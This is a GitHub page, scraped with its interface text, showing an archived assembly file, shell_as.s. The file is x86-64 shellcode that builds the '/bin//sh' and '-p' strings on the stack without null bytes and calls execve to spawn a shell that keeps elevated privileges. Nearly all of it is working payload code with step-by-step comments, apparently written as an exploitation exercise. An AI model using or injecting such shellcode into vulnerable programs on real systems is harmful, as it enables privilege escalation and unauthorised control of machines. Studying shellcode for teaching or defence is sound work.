This repository was archived by the owner on Dec 7, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell_as.s
More file actions
34 lines (27 loc) · 1.38 KB
/
Copy pathshell_as.s
File metadata and controls
34 lines (27 loc) · 1.38 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.intel_syntax noprefix
.globl _start
.section .text
_start:
SPAWN_SHELL:
xor rax, rax
push rax # Push some nulls for string termination.
mov rcx, 0x68732F2f6e69622F # Construct "/bin//sh".
push rcx # Push "/bin//sh" to the stack.
push rsp
xor rdi, rdi # Set up rdi.
pop rdi # Pointer to /bin//sh.
# Construct the argv array.
push rax # Push some nulls for string termination.
xor rcx, rcx # Set up rcx.
push rsp
pop rcx
add word ptr [rcx], 0x702d # Rcx now points to the "-p" string.
push rax # Null-terminate the argv array.
push rcx # Push the address of "-p" onto the stack.
push rdi # Push the address of "/bin//sh" onto the stack.
push rsp
xor rsi, rsi # Set up rsi.
pop rsi # Rsi now points to the argument array.
cdq # NULL (An empty array for envp) (Linux accepts NULL instead of a pointer to NULL).
mov al, 59 # execve("/bin/sh", argv, envp).
syscall